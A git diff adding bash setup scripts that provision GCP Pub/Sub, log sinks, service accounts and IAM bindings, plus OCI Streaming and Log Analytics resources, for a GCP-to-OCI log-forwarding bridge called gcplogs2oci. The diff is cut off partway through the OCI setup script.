+ status_fail "Pub/Sub Topic: $TOPIC" + ((GCP_MISSING++)) + fi + + if gcloud pubsub subscriptions describe "$SUBSCRIPTION" &>/dev/null 2>&1; then + status_ok "Pub/Sub Subscription: $SUBSCRIPTION" + else + status_fail "Pub/Sub Subscription: $SUBSCRIPTION" + ((GCP_MISSING++)) + fi + + if gcloud logging sinks describe "$SINK_NAME" &>/dev/null 2>&1; then + status_ok "Log Router Sink: $SINK_NAME" + else + status_fail "Log Router Sink: $SINK_NAME" + ((GCP_MISSING++)) + fi + + SA_EMAIL="${SA_NAME}@${PROJECT}.iam.gserviceaccount.com" + if gcloud iam service-accounts describe "$SA_EMAIL" &>/dev/null 2>&1; then + status_ok "Service Account: $SA_EMAIL" + else + status_fail "Service Account: $SA_EMAIL" + ((GCP_MISSING++)) + fi + + KEY_FILE="$PROJECT_DIR/gcp-sa-key.json" + if [ -f "$KEY_FILE" ]; then + status_ok "SA Key File: $KEY_FILE" + else + status_fail "SA Key File: $KEY_FILE" + ((GCP_MISSING++)) + fi +fi + +if [ "$GCP_MISSING" -gt 0 ] && [ "$GCP_MISSING" -ne 99 ]; then + echo "" + if ask_yn "Create missing GCP resources via setup_gcp.sh?" "y"; then + if run_child "$SCRIPT_DIR/setup_gcp.sh"; then + status_ok "setup_gcp.sh completed" + reload_env + else + status_fail "setup_gcp.sh failed" + ((ERRORS++)) + if ! $AUTO && ! ask_yn "Continue anyway?" "n"; then + exit 1 + fi + fi + else + status_skip "GCP provisioning skipped" + fi +elif [ "$GCP_MISSING" -eq 0 ] && [ -n "$PROJECT" ]; then + echo "" + status_ok "All GCP resources exist – nothing to create" +fi + +# ══════════════════════════════════════════════════════════════ +# [5/10] Validate GCP credentials +# ══════════════════════════════════════════════════════════════ +step_header 5 "Validate GCP credentials" + +if $SKIP_TESTS; then + status_skip "Skipped (--skip-tests)" +elif $DRY_RUN; then + echo " ${C_DIM}[dry-run] Would run: python3 scripts/test_gcp_credentials.py${C_RESET}" +else + if python3 "$SCRIPT_DIR/test_gcp_credentials.py"; then + status_ok "GCP credentials valid" + else + status_fail "GCP credential validation failed" + ((ERRORS++)) + if ! $AUTO && ! ask_yn "Continue anyway?" "n"; then + exit 1 + fi + fi +fi + +# ══════════════════════════════════════════════════════════════ +# [6/10] Check OCI authentication +# ══════════════════════════════════════════════════════════════ +step_header 6 "Check OCI authentication" + +if command -v oci &>/dev/null; then + if oci iam region list --output table &>/dev/null 2>&1; then + status_ok "OCI CLI authenticated" + else + status_fail "OCI CLI auth check failed (run: oci setup config)" + ((ERRORS++)) + fi +else + status_fail "OCI CLI not installed" + ((ERRORS++)) +fi + +# ══════════════════════════════════════════════════════════════ +# [7/10] Probe & provision OCI resources +# ══════════════════════════════════════════════════════════════ +step_header 7 "Probe & provision OCI resources" + +COMPARTMENT="${OCI_COMPARTMENT_OCID:-}" +REGION="${OCI_REGION:-}" +STREAM_POOL_NAME="${OCI_STREAM_POOL_NAME:-MultiCloud_Log_Pool}" +STREAM_NAME="${OCI_STREAM_NAME:-gcp-inbound-stream}" +LOG_GROUP_NAME="${OCI_LOG_GROUP_NAME:-GCPLogs}" +SCH_NAME="${OCI_SCH_NAME:-GCP-Stream-to-LogAnalytics}" +NAMESPACE="${OCI_LOG_ANALYTICS_NAMESPACE:-}" + +OCI_MISSING=0 + +if [ -z "$COMPARTMENT" ] || [ -z "$REGION" ]; then + status_fail "OCI_COMPARTMENT_OCID or OCI_REGION not set – cannot probe" + ((ERRORS++)) + OCI_MISSING=99 +else + # Stream Pool + POOL_ID=$(oci streaming admin stream-pool list \ + --compartment-id "$COMPARTMENT" \ + --name "$STREAM_POOL_NAME" \ + --lifecycle-state ACTIVE \ + --query 'data[0].id' --raw-output 2>/dev/null || true) + if [ -n "$POOL_ID" ] && [ "$POOL_ID" != "null" ]; then + status_ok "Stream Pool: $STREAM_POOL_NAME" + else + status_fail "Stream Pool: $STREAM_POOL_NAME" + ((OCI_MISSING++)) + fi + + # Stream + STREAM_ID=$(oci streaming admin stream list \ + --compartment-id "$COMPARTMENT" \ + --name "$STREAM_NAME" \ + --lifecycle-state ACTIVE \ + --query 'data[0].id' --raw-output 2>/dev/null || true) + if [ -n "$STREAM_ID" ] && [ "$STREAM_ID" != "null" ]; then + status_ok "Stream: $STREAM_NAME" + else + status_fail "Stream: $STREAM_NAME" + ((OCI_MISSING++)) + fi + + # Namespace auto-detect + if [ -z "$NAMESPACE" ]; then + NAMESPACE=$(oci log-analytics namespace list \ + --compartment-id "$COMPARTMENT" \ + --query 'data.items[0]."namespace-name"' --raw-output 2>/dev/null || true) + [ "$NAMESPACE" = "null" ] && NAMESPACE="" + fi + + if [ -n "$NAMESPACE" ]; then + status_ok "Log Analytics Namespace: $NAMESPACE" + + # Log Group + LG_ID=$(oci log-analytics log-group list \ + --compartment-id "$COMPARTMENT" \ + --namespace-name "$NAMESPACE" \ + --query "data.items[?\"display-name\"=='$LOG_GROUP_NAME'].id | [0]" \ + --raw-output 2>/dev/null || true) + if [ -n "$LG_ID" ] && [ "$LG_ID" != "null" ] && [ "$LG_ID" != "None" ]; then + status_ok "Log Group: $LOG_GROUP_NAME" + else + status_fail "Log Group: $LOG_GROUP_NAME" + ((OCI_MISSING++)) + fi + else + status_fail "Log Analytics Namespace: not detected" + ((OCI_MISSING++)) + fi + + # Connector Hub + SCH_ID=$(oci sch service-connector list \ + --compartment-id "$COMPARTMENT" \ + --display-name "$SCH_NAME" \ + --lifecycle-state ACTIVE \ + --query 'data.items[0].id' --raw-output 2>/dev/null || true) + if [ -n "$SCH_ID" ] && [ "$SCH_ID" != "null" ] && [ "$SCH_ID" != "None" ]; then + status_ok "Connector Hub: $SCH_NAME" + else + status_fail "Connector Hub: $SCH_NAME" + ((OCI_MISSING++)) + fi +fi + +if [ "$OCI_MISSING" -gt 0 ] && [ "$OCI_MISSING" -ne 99 ]; then + echo "" + if ask_yn "Create missing OCI resources via setup_oci.sh?" "y"; then + if run_child "$SCRIPT_DIR/setup_oci.sh"; then + status_ok "setup_oci.sh completed" + reload_env + else + status_fail "setup_oci.sh failed" + ((ERRORS++)) + if ! $AUTO && ! ask_yn "Continue anyway?" "n"; then + exit 1 + fi + fi + else + status_skip "OCI provisioning skipped" + fi +elif [ "$OCI_MISSING" -eq 0 ] && [ -n "$COMPARTMENT" ]; then + echo "" + status_ok "All OCI resources exist – nothing to create" +fi + +# ══════════════════════════════════════════════════════════════ +# [8/10] Validate OCI credentials +# ══════════════════════════════════════════════════════════════ +step_header 8 "Validate OCI credentials" + +if $SKIP_TESTS; then + status_skip "Skipped (--skip-tests)" +elif $DRY_RUN; then + echo " ${C_DIM}[dry-run] Would run: python3 scripts/test_oci_credentials.py${C_RESET}" +else + if python3 "$SCRIPT_DIR/test_oci_credentials.py"; then + status_ok "OCI credentials valid" + else + status_fail "OCI credential validation failed" + ((ERRORS++)) + if ! $AUTO && ! ask_yn "Continue anyway?" "n"; then + exit 1 + fi + fi +fi + +# ══════════════════════════════════════════════════════════════ +# [9/10] End-to-end test +# ══════════════════════════════════════════════════════════════ +step_header 9 "End-to-end test" + +RUN_E2E=false +if $SKIP_TESTS; then + status_skip "Skipped (--skip-tests)" +elif $DRY_RUN; then + echo " ${C_DIM}[dry-run] Would publish test message and drain bridge${C_RESET}" +elif $E2E; then + RUN_E2E=true +elif ! $AUTO; then + if ask_yn "Run end-to-end test? (publish message + drain bridge)" "n"; then + RUN_E2E=true + else + status_skip "End-to-end test skipped" + fi +else + status_skip "Skipped in --auto mode (use --e2e to include)" +fi + +if $RUN_E2E; then + echo " Publishing test message..." + if python3 "$SCRIPT_DIR/publish_test_message.py"; then + status_ok "Test message published" + else + status_fail "Failed to publish test message" + ((ERRORS++)) + fi + + echo " Running bridge in drain mode..." + if "$SCRIPT_DIR/drain_pubsub_to_oci.sh"; then + status_ok "Bridge drain completed" + else + status_fail "Bridge drain failed" + ((ERRORS++)) + fi +fi + +# ══════════════════════════════════════════════════════════════ +# [10/10] Final summary +# ══════════════════════════════════════════════════════════════ +step_header 10 "Final summary" + +if $DRY_RUN; then + echo " ${C_DIM}[dry-run] Would run: ./scripts/status.sh${C_RESET}" +else + echo "" + "$SCRIPT_DIR/status.sh" || true +fi + +echo "" +if [ "$ERRORS" -eq 0 ]; then + echo " ${C_GREEN}Setup complete!${C_RESET}" + echo "" + echo " Next steps:" + echo " python -m bridge.main --drain # test run (exits when queue empty)" + echo " python -m bridge.main # continuous mode" +else + echo " ${C_YELLOW}Setup finished with $ERRORS error(s). Review the output above.${C_RESET}" +fi +echo "" + +exit "$ERRORS" diff --git a/observability-and-management/assets/gcplogs2oci/scripts/setup_gcp.sh b/observability-and-management/assets/gcplogs2oci/scripts/setup_gcp.sh new file mode 100644 index 000000000..20a011a9a --- /dev/null +++ b/observability-and-management/assets/gcplogs2oci/scripts/setup_gcp.sh @@ -0,0 +1,208 @@ +#!/usr/bin/env bash +# ───────────────────────────────────────────────────────────── +# setup_gcp.sh – Provision GCP Pub/Sub resources for the bridge +# +# Prerequisites: +# - gcloud CLI authenticated (gcloud auth login) +# - .env.local populated (GCP_PROJECT_ID auto-detected if not set) +# +# Usage: +# ./scripts/setup_gcp.sh +# ───────────────────────────────────────────────────────────── +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" +PROJECT_DIR="$(cd "$SCRIPT_DIR/.." && pwd)" + +# Load environment +if [ -f "$PROJECT_DIR/.env.local" ]; then + set -a; source "$PROJECT_DIR/.env.local"; set +a + echo "Loaded .env.local" +elif [ -f "$PROJECT_DIR/.env" ]; then + set -a; source "$PROJECT_DIR/.env"; set +a + echo "Loaded .env" +else + echo "ERROR: No .env.local or .env found. Copy .env.example to .env.local and fill in values." + exit 1 +fi + +# ── Interactive GCP project selection ────────────────────── +if [ -z "${GCP_PROJECT_ID:-}" ]; then + if [ -t 0 ]; then + echo "GCP_PROJECT_ID is not set. Detecting available projects..." + echo "" + mapfile -t PROJECTS < <(gcloud projects list --format='value(projectId)' --sort-by=projectId 2>/dev/null) + if [ ${#PROJECTS[@]} -eq 0 ]; then + echo "ERROR: No GCP projects found. Ensure gcloud is authenticated (gcloud auth login)." + exit 1 + fi + echo " Available GCP Projects:" + for i in "${!PROJECTS[@]}"; do + printf " %d) %s\n" "$((i+1))" "${PROJECTS[$i]}" + done + echo "" + while true; do + read -rp " Select a project [1-${#PROJECTS[@]}]: " choice + if [[ "$choice" =~ ^[0-9]+$ ]] && [ "$choice" -ge 1 ] && [ "$choice" -le "${#PROJECTS[@]}" ]; then + GCP_PROJECT_ID="${PROJECTS[$((choice-1))]}" + echo " Selected: $GCP_PROJECT_ID" + echo "" + # Offer to save to .env.local + if [ -f "$PROJECT_DIR/.env.local" ]; then + read -rp " Save GCP_PROJECT_ID=$GCP_PROJECT_ID to .env.local? [Y/n]: " save_choice + if [[ ! "$save_choice" =~ ^[nN] ]]; then + if grep -q '^GCP_PROJECT_ID=' "$PROJECT_DIR/.env.local"; then + sed -i.bak "s|^GCP_PROJECT_ID=.*|GCP_PROJECT_ID=\"$GCP_PROJECT_ID\"|" "$PROJECT_DIR/.env.local" + rm -f "$PROJECT_DIR/.env.local.bak" + else + echo "GCP_PROJECT_ID=\"$GCP_PROJECT_ID\"" >> "$PROJECT_DIR/.env.local" + fi + echo " Saved to .env.local" + fi + fi + break + else + echo " Invalid selection. Enter a number between 1 and ${#PROJECTS[@]}." + fi + done + else + echo "ERROR: GCP_PROJECT_ID is required (set in .env.local or export it)." + exit 1 + fi +fi + +PROJECT="$GCP_PROJECT_ID" +TOPIC="${GCP_PUBSUB_TOPIC:-oci-log-export-topic}" +SUBSCRIPTION="${GCP_PUBSUB_SUBSCRIPTION:-fluentd-oci-bridge-sub}" +SINK_NAME="${GCP_LOG_SINK_NAME:-gcp-to-oci-sink}" +LOG_FILTER="${GCP_LOG_FILTER:-severity >= ERROR}" +SA_NAME="${GCP_SA_NAME:-oci-log-shipper-sa}" + +echo "============================================================" +echo " GCP Setup for gcplogs2oci" +echo "============================================================" +echo " Project: $PROJECT" +echo " Topic: $TOPIC" +echo " Subscription: $SUBSCRIPTION" +echo " Sink: $SINK_NAME" +echo " Filter: $LOG_FILTER" +echo "============================================================" +echo "" + +gcloud config set project "$PROJECT" + +# ── 0. Enable required APIs ────────────────────────────────── +echo "0/5 Enabling required GCP APIs..." +gcloud services enable pubsub.googleapis.com logging.googleapis.com --quiet +echo " Pub/Sub and Cloud Logging APIs enabled." +echo "" + +# ── 1. Create Pub/Sub Topic ───────────────────────────────── +echo "1/5 Creating Pub/Sub topic: $TOPIC" +if gcloud pubsub topics describe "$TOPIC" &>/dev/null; then + echo " Topic already exists, skipping." +else + gcloud pubsub topics create "$TOPIC" \ + --message-retention-duration=7d + echo " Topic created with 7-day retention." +fi + +# ── 2. Create Pull Subscription ───────────────────────────── +echo "2/5 Creating Pull subscription: $SUBSCRIPTION" +if gcloud pubsub subscriptions describe "$SUBSCRIPTION" &>/dev/null; then + echo " Subscription already exists, skipping." +else + gcloud pubsub subscriptions create "$SUBSCRIPTION" \ + --topic="$TOPIC" \ + --ack-deadline=60 \ + --expiration-period=never \ + --message-retention-duration=7d + echo " Subscription created (ack deadline 60s, no expiration)." +fi + +# ── 3. Create Log Router Sink ──────────────────────────────── +echo "3/5 Creating Log Router sink: $SINK_NAME" +TOPIC_FULL="pubsub.googleapis.com/projects/$PROJECT/topics/$TOPIC" +if gcloud logging sinks describe "$SINK_NAME" &>/dev/null; then + echo " Sink already exists, skipping." +else + gcloud logging sinks create "$SINK_NAME" "$TOPIC_FULL" \ + --log-filter="$LOG_FILTER" + echo " Sink created." +fi + +# Grant the sink's service account publish access to the topic +SINK_SA=$(gcloud logging sinks describe "$SINK_NAME" --format='value(writerIdentity)') +echo " Granting sink writer ($SINK_SA) publish access..." +gcloud pubsub topics add-iam-policy-binding "$TOPIC" \ + --member="$SINK_SA" \ + --role="roles/pubsub.publisher" \ + --condition=None \ + --quiet +echo " IAM binding set." + +# ── 4. Create Service Account ──────────────────────────────── +echo "4/5 Creating service account: $SA_NAME" +SA_EMAIL="${SA_NAME}@${PROJECT}.iam.gserviceaccount.com" +if gcloud iam service-accounts describe "$SA_EMAIL" &>/dev/null; then + echo " Service account already exists." +else + gcloud iam service-accounts create "$SA_NAME" \ + --display-name="OCI Log Shipper Service Account" + echo " Service account created." +fi + +echo " Granting least-privilege Pub/Sub roles (resource-scoped)..." +gcloud pubsub subscriptions add-iam-policy-binding "$SUBSCRIPTION" \ + --member="serviceAccount:$SA_EMAIL" \ + --role="roles/pubsub.subscriber" \ + --condition=None \ + --quiet +gcloud pubsub subscriptions add-iam-policy-binding "$SUBSCRIPTION" \ + --member="serviceAccount:$SA_EMAIL" \ + --role="roles/pubsub.viewer" \ + --condition=None \ + --quiet +gcloud pubsub topics add-iam-policy-binding "$TOPIC" \ + --member="serviceAccount:$SA_EMAIL" \ + --role="roles/pubsub.viewer" \ + --condition=None \ + --quiet +echo " Resource-scoped roles granted on subscription/topic." + +# ── 5. Generate Service Account Key ───────────────────────── +KEY_FILE="$PROJECT_DIR/gcp-sa-key.json" +if [ -f "$KEY_FILE" ]; then + echo "5/5 Key file already exists at $KEY_FILE, skipping." +else + echo "5/5 Generating service account key..." + gcloud iam service-accounts keys create "$KEY_FILE" \ + --iam-account="$SA_EMAIL" + echo " Key saved to $KEY_FILE" + echo " IMPORTANT: This file is in .gitignore. Never commit it." +fi + +echo "" +echo "============================================================" +echo " GCP Setup Complete" +echo "============================================================" +echo "" +echo " Resources created in GCP ($PROJECT):" +echo " ┌──────────────────────┬─────────────────────────────────┐" +echo " │ Resource │ Name / Value │" +echo " ├──────────────────────┼─────────────────────────────────┤" +echo " │ Pub/Sub Topic │ $TOPIC │" +echo " │ Pull Subscription │ $SUBSCRIPTION │" +echo " │ Log Router Sink │ $SINK_NAME │" +echo " │ Sink Filter │ $LOG_FILTER │" +echo " │ Service Account │ $SA_EMAIL │" +echo " │ IAM Roles │ sub:subscriber+viewer, topic:viewer │" +echo " │ SA Key File │ $KEY_FILE │" +echo " └──────────────────────┴─────────────────────────────────┘" +echo "" +echo "Next steps:" +echo " 1. Set GOOGLE_APPLICATION_CREDENTIALS=$KEY_FILE in .env.local" +echo " 2. Run: python scripts/test_gcp_credentials.py" +echo " 3. Provision OCI: ./scripts/setup_oci.sh" +echo " 4. Run the bridge: python -m bridge.main --drain" +echo "" diff --git a/observability-and-management/assets/gcplogs2oci/scripts/setup_gcp_iam.sh b/observability-and-management/assets/gcplogs2oci/scripts/setup_gcp_iam.sh new file mode 100644 index 000000000..22ace39c1 --- /dev/null +++ b/observability-and-management/assets/gcplogs2oci/scripts/setup_gcp_iam.sh @@ -0,0 +1,215 @@ +#!/usr/bin/env bash +# ───────────────────────────────────────────────────────────── +# setup_gcp_iam.sh – Create recommended GCP IAM bindings for +# gcplogs2oci. +# +# Applies: +# 1) Bridge runtime SA (resource-scoped Pub/Sub least privilege) +# 2) Log Router sink writer (topic publish permission) +# 3) Optional setup principal roles (for automation/bootstrap) +# +# Optional environment variables: +# GCP_BRIDGE_SA_EMAIL Override runtime SA email +# GCP_SETUP_PRINCIPAL IAM member for setup automation roles +# GCP_TEST_PUBLISHER_PRINCIPAL IAM member allowed to publish test data +# +# Usage: +# ./scripts/setup_gcp_iam.sh +# GCP_SETUP_PRINCIPAL="user:admin@example.com" ./scripts/setup_gcp_iam.sh +# ───────────────────────────────────────────────────────────── +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" +PROJECT_DIR="$(cd "$SCRIPT_DIR/.." && pwd)" + +if ! command -v gcloud >/dev/null 2>&1; then + echo "ERROR: gcloud CLI is required." + exit 1 +fi + +# Load environment +if [ -f "$PROJECT_DIR/.env.local" ]; then + set -a; source "$PROJECT_DIR/.env.local"; set +a + echo "Loaded .env.local" +elif [ -f "$PROJECT_DIR/.env" ]; then + set -a; source "$PROJECT_DIR/.env"; set +a + echo "Loaded .env" +else + echo "ERROR: No .env.local or .env found." + exit 1 +fi + +PROJECT="${GCP_PROJECT_ID:?GCP_PROJECT_ID is required}" +TOPIC="${GCP_PUBSUB_TOPIC:-oci-log-export-topic}" +SUBSCRIPTION="${GCP_PUBSUB_SUBSCRIPTION:-fluentd-oci-bridge-sub}" +SINK_NAME="${GCP_LOG_SINK_NAME:-gcp-to-oci-sink}" +SA_NAME="${GCP_SA_NAME:-oci-log-shipper-sa}" +DEFAULT_SA_EMAIL="${SA_NAME}@${PROJECT}.iam.gserviceaccount.com" +SA_EMAIL="${GCP_BRIDGE_SA_EMAIL:-$DEFAULT_SA_EMAIL}" +SETUP_PRINCIPAL="${GCP_SETUP_PRINCIPAL:-}" +TEST_PUBLISHER_PRINCIPAL="${GCP_TEST_PUBLISHER_PRINCIPAL:-}" + +if [ -n "$SETUP_PRINCIPAL" ] && [[ "$SETUP_PRINCIPAL" != *:* ]]; then + echo "ERROR: GCP_SETUP_PRINCIPAL must be in IAM member format (e.g. user:alice@example.com)." + exit 1 +fi + +if [ -n "$TEST_PUBLISHER_PRINCIPAL" ] && [[ "$TEST_PUBLISHER_PRINCIPAL" != *:* ]]; then + echo "ERROR: GCP_TEST_PUBLISHER_PRINCIPAL must be in IAM member format." + exit 1 +fi + +gcloud config set project "$PROJECT" >/dev/null + +UPDATED=0 +SKIPPED=0 +CREATED=0 + +add_project_binding() { + local member="$1" + local role="$2" + gcloud projects add-iam-policy-binding "$PROJECT" \ + --member="$member" \ + --role="$role" \ + --condition=None \ + --quiet >/dev/null + UPDATED=$((UPDATED + 1)) +} + +add_topic_binding() { + local member="$1" + local role="$2" + gcloud pubsub topics add-iam-policy-binding "$TOPIC" \ + --project="$PROJECT" \ + --member="$member" \ + --role="$role" \ + --condition=None \ + --quiet >/dev/null + UPDATED=$((UPDATED + 1)) +} + +add_subscription_binding() { + local member="$1" + local role="$2" + gcloud pubsub subscriptions add-iam-policy-binding "$SUBSCRIPTION" \ + --project="$PROJECT" \ + --member="$member" \ + --role="$role" \ + --condition=None \ + --quiet >/dev/null + UPDATED=$((UPDATED + 1)) +} + +echo "============================================================" +echo " GCP IAM Setup for gcplogs2oci" +echo "============================================================" +echo " Project: $PROJECT" +echo " Topic: $TOPIC" +echo " Subscription: $SUBSCRIPTION" +echo " Sink: $SINK_NAME" +echo " Bridge SA: $SA_EMAIL" +[ -n "$SETUP_PRINCIPAL" ] && echo " Setup principal: $SETUP_PRINCIPAL" +echo "============================================================" +echo "" + +# 1) Ensure bridge service account exists (default SA only) +if gcloud iam service-accounts describe "$SA_EMAIL" --project "$PROJECT" >/dev/null 2>&1; then + echo "1/4 Bridge service account exists: $SA_EMAIL" +else + if [ "$SA_EMAIL" != "$DEFAULT_SA_EMAIL" ]; then + echo "1/4 WARNING: Custom bridge SA not found: $SA_EMAIL" + echo " Create it manually or unset GCP_BRIDGE_SA_EMAIL." + SKIPPED=$((SKIPPED + 1)) + else + echo "1/4 Creating bridge service account: $SA_NAME" + gcloud iam service-accounts create "$SA_NAME" \ + --project "$PROJECT" \ + --display-name "OCI Log Shipper Service Account" >/dev/null + CREATED=$((CREATED + 1)) + fi +fi + +# 2) Runtime Pub/Sub least privilege bindings +echo "2/4 Applying bridge runtime Pub/Sub bindings..." +if ! gcloud pubsub subscriptions describe "$SUBSCRIPTION" --project "$PROJECT" >/dev/null 2>&1; then + echo " WARNING: Subscription not found ($SUBSCRIPTION). Skipping subscription IAM bindings." + SKIPPED=$((SKIPPED + 1)) +else + add_subscription_binding "serviceAccount:$SA_EMAIL" "roles/pubsub.subscriber" + add_subscription_binding "serviceAccount:$SA_EMAIL" "roles/pubsub.viewer" + echo " Added: roles/pubsub.subscriber + roles/pubsub.viewer on subscription" +fi + +if ! gcloud pubsub topics describe "$TOPIC" --project "$PROJECT" >/dev/null 2>&1; then + echo " WARNING: Topic not found ($TOPIC). Skipping topic IAM bindings." + SKIPPED=$((SKIPPED + 1)) +else + add_topic_binding "serviceAccount:$SA_EMAIL" "roles/pubsub.viewer" + echo " Added: roles/pubsub.viewer on topic" +fi + +# 3) Sink writer publish permission on the topic +echo "3/4 Applying Log Router sink writer permissions..." +if ! gcloud logging sinks describe "$SINK_NAME" --project "$PROJECT" >/dev/null 2>&1; then + echo " WARNING: Sink not found ($SINK_NAME). Skipping sink-writer IAM binding." + SKIPPED=$((SKIPPED + 1)) +else + if ! gcloud pubsub topics describe "$TOPIC" --project "$PROJECT" >/dev/null 2>&1; then + echo " WARNING: Topic not found ($TOPIC). Skipping sink-writer IAM binding." + SKIPPED=$((SKIPPED + 1)) + else + SINK_MEMBER="$(gcloud logging sinks describe "$SINK_NAME" --project "$PROJECT" --format='value(writerIdentity)')" + if [ -z "$SINK_MEMBER" ] || [ "$SINK_MEMBER" = "None" ]; then + echo " WARNING: Could not resolve sink writerIdentity. Skipping." + SKIPPED=$((SKIPPED + 1)) + else + add_topic_binding "$SINK_MEMBER" "roles/pubsub.publisher" + echo " Added: roles/pubsub.publisher on topic for $SINK_MEMBER" + fi + fi +fi + +# 4) Optional setup/test principals +echo "4/4 Applying optional setup/test principal bindings..." +if [ -n "$SETUP_PRINCIPAL" ]; then + # Required by scripts/setup_gcp.sh operations. + for role in \ + roles/serviceusage.serviceUsageAdmin \ + roles/pubsub.admin \ + roles/logging.configWriter \ + roles/iam.serviceAccountAdmin \ + roles/iam.serviceAccountKeyAdmin \ + roles/resourcemanager.projectIamAdmin; do + add_project_binding "$SETUP_PRINCIPAL" "$role" + done + echo " Added setup roles for $SETUP_PRINCIPAL" +else + echo " Skipped setup principal roles (GCP_SETUP_PRINCIPAL not set)." + SKIPPED=$((SKIPPED + 1)) +fi + +if [ -n "$TEST_PUBLISHER_PRINCIPAL" ]; then + if gcloud pubsub topics describe "$TOPIC" --project "$PROJECT" >/dev/null 2>&1; then + add_topic_binding "$TEST_PUBLISHER_PRINCIPAL" "roles/pubsub.publisher" + echo " Added test publish role for $TEST_PUBLISHER_PRINCIPAL" + else + echo " WARNING: Topic not found ($TOPIC). Skipping test publisher binding." + SKIPPED=$((SKIPPED + 1)) + fi +else + echo " Skipped test publisher role (GCP_TEST_PUBLISHER_PRINCIPAL not set)." + SKIPPED=$((SKIPPED + 1)) +fi + +echo "" +echo "============================================================" +echo " GCP IAM Setup Complete" +echo "============================================================" +echo " Created resources: $CREATED" +echo " IAM bindings applied: $UPDATED" +echo " Skipped items: $SKIPPED" +echo "" +echo "Recommended next steps:" +echo " 1. Run ./scripts/setup_gcp.sh to ensure topic/subscription/sink exist" +echo " 2. Validate with: python scripts/test_gcp_credentials.py" +echo "" diff --git a/observability-and-management/assets/gcplogs2oci/scripts/setup_oci.sh b/observability-and-management/assets/gcplogs2oci/scripts/setup_oci.sh new file mode 100644 index 000000000..e3de15897 --- /dev/null +++ b/observability-and-management/assets/gcplogs2oci/scripts/setup_oci.sh @@ -0,0 +1,686 @@ +#!/usr/bin/env bash +# ───────────────────────────────────────────────────────────── +# setup_oci.sh – Provision OCI Streaming, Log Analytics, and +# Connector Hub resources for the +# GCP → OCI log pipeline. +# +# Creates: +# 1. Stream Pool + Stream (Kafka-compatible ingest) +# 2. Log Analytics Log Group (GCPLogs) +# 3. Log Analytics custom fields (GCP Cloud Logging schema) +# 4. Log Analytics JSON parser (GCP Cloud Logging JSON Parser) +# 5. Log Analytics source (GCP Cloud Logging Logs) +# 6. Connector Hub (Stream → Log Analytics) +# +# Prerequisites: +# - oci CLI configured (oci setup config) +# - .env.local populated with OCI variables +# - Python 3 + oci-sdk (pip install oci) +# +# Usage: +# ./scripts/setup_oci.sh +# ───────────────────────────────────────────────────────────── +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" +PROJECT_DIR="$(cd "$SCRIPT_DIR/.." && pwd)" + +# Load environment +if [ -f "$PROJECT_DIR/.env.local" ]; then + set -a; source "$PROJECT_DIR/.env.local"; set +a + echo "Loaded .env.local" +elif [ -f "$PROJECT_DIR/.env" ]; then + set -a; source "$PROJECT_DIR/.env"; set +a + echo "Loaded .env" +else + echo "ERROR: No .env.local or .env found." + exit 1 +fi + +COMPARTMENT="${OCI_COMPARTMENT_OCID:?OCI_COMPARTMENT_OCID is required}" +REGION="${OCI_REGION:?OCI_REGION is required}" + +STREAM_POOL_NAME="${OCI_STREAM_POOL_NAME:-MultiCloud_Log_Pool}" +STREAM_NAME="${OCI_STREAM_NAME:-gcp-inbound-stream}" +PARTITIONS="${OCI_STREAM_PARTITIONS:-1}" +LOG_GROUP_NAME="${OCI_LOG_GROUP_NAME:-GCPLogs}" +NAMESPACE="${OCI_LOG_ANALYTICS_NAMESPACE:-}" +SCH_NAME="${OCI_SCH_NAME:-GCP-Stream-to-LogAnalytics}" + +# Source / parser names +PARSER_NAME="gcpCloudLoggingJsonParser" +SOURCE_NAME="GCP Cloud Logging Logs" + +echo "============================================================" +echo " OCI End-to-End Setup for gcplogs2oci" +echo "============================================================" +echo " Compartment: ${COMPARTMENT:0:30}..." +echo " Region: $REGION" +echo " Stream Pool: $STREAM_POOL_NAME" +echo " Stream: $STREAM_NAME" +echo " Log Group: $LOG_GROUP_NAME" +echo " SCH: $SCH_NAME" +echo " Parser: $PARSER_NAME" +echo " Source: $SOURCE_NAME" +echo "============================================================" +echo "" + +# ── Auto-detect Log Analytics namespace ────────────────────── +if [ -z "$NAMESPACE" ]; then + echo "Detecting Log Analytics namespace..." + NAMESPACE=$(oci log-analytics namespace list \ + --compartment-id "$COMPARTMENT" \ + --query 'data.items[0]."namespace-name"' --raw-output 2>/dev/null || true) + if [ -z "$NAMESPACE" ] || [ "$NAMESPACE" = "null" ]; then + echo "ERROR: Could not detect Log Analytics namespace. Set OCI_LOG_ANALYTICS_NAMESPACE." + exit 1 + fi + echo " Namespace: $NAMESPACE" +fi + +# ── Interactive stream selection ─────────────────────────── +SKIP_STREAM_CREATION=false + +if [ -n "${OCI_STREAM_OCID:-}" ]; then + # Stream OCID provided via env — verify it exists and get pool ID + echo "" + echo "OCI_STREAM_OCID is set. Verifying stream..." + STREAM_INFO=$(oci streaming admin stream get --stream-id "$OCI_STREAM_OCID" 2>/dev/null || true) + if [ -z "$STREAM_INFO" ]; then + echo "ERROR: Stream $OCI_STREAM_OCID not found or not accessible." + exit 1 + fi + STREAM_ID="$OCI_STREAM_OCID" + POOL_ID=$(echo "$STREAM_INFO" | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['stream-pool-id'])") + STREAM_NAME=$(echo "$STREAM_INFO" | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['name'])") + echo " Using stream: $STREAM_NAME (${STREAM_ID:0:50}...)" + echo " Stream pool: ${POOL_ID:0:50}..." + SKIP_STREAM_CREATION=true +elif [ -t 0 ]; then + # Interactive mode — list existing streams and let user choose + echo "" + echo "Checking for existing streams in compartment..." + STREAM_JSON=$(oci streaming admin stream list \ + --compartment-id "$COMPARTMENT" \ + --lifecycle-state ACTIVE \ + --all \ + --query 'data[].{name:name, id:id}' 2>/dev/null || echo "[]") + + mapfile -t STREAM_NAMES < <(echo "$STREAM_JSON" | python3 -c " +import sys, json +streams = json.load(sys.stdin) +for s in streams: + print(s['name']) +" 2>/dev/null || true) + + mapfile -t STREAM_IDS < <(echo "$STREAM_JSON" | python3 -c " +import sys, json +streams = json.load(sys.stdin) +for s in streams: + print(s['id']) +" 2>/dev/null || true) + + if [ ${#STREAM_NAMES[@]} -gt 0 ]; then + echo "" + echo " Existing streams in compartment:" + for i in "${!STREAM_NAMES[@]}"; do + printf " %d) %s (%s...)\n" "$((i+1))" "${STREAM_NAMES[$i]}" "${STREAM_IDS[$i]:0:50}" + done + CREATE_IDX=$(( 